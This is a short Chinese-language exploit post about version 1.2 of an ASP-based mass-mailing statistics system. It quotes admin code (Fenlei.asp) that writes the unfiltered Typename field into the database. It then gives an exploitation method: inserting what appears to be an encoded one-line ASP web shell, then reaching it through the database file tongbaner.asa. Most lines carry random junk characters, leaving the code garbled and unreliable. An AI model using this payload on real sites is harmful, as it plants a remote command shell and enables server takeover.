铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
/ F2 J" [( K7 i" ]% ?
IF Request.QueryString("Action")="del" Then
/ O% A2 q, s$ ?3 A* PID=Request.QueryString("ID")
' x6 G. g6 R* J4 H8 W; Y. MIF Countss ("tui","Fenlei",ID )<>0 then
'略
: z9 @8 i7 ^4 w9 OIF Request.QueryString("Action")="Add" Then
$ M0 `0 K2 o4 J0 E2 @Tname=Request.Form("Typename")
9 p, S( `/ x8 A, c4 DSet Rs=Server.CreateObject("adodb.Recordset")
3 `8 O) L/ J( v7 J2 `& |Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
3 G4 C4 i  A; o9 m* }'略
2 a! o7 H) o- k! HSet Rs=Server.CreateObject("adodb.Recordset")
+ q4 j9 ~3 \6 P3 \, h: I# G3 kSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
2 z0 y7 Y3 S0 Q0 S* R6 m'略
%>
' Z& p; d+ C0 w

6 Q6 ?7 ~/ j9 G" t* c, d5 O. ]
没有过滤，直接写入数据库。

/ C6 s6 @  {2 h. E, d8 U" L, B利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
9 H7 }$ |. Y0 d  D

连接： http://www.xxx.com/###tongbaner.asa
$ W" q, Y7 U% L'默认安装文件：
'install.asp
5 }5 J4 r1 ^! o3 ]# [2 w0 f6 C8 i2 V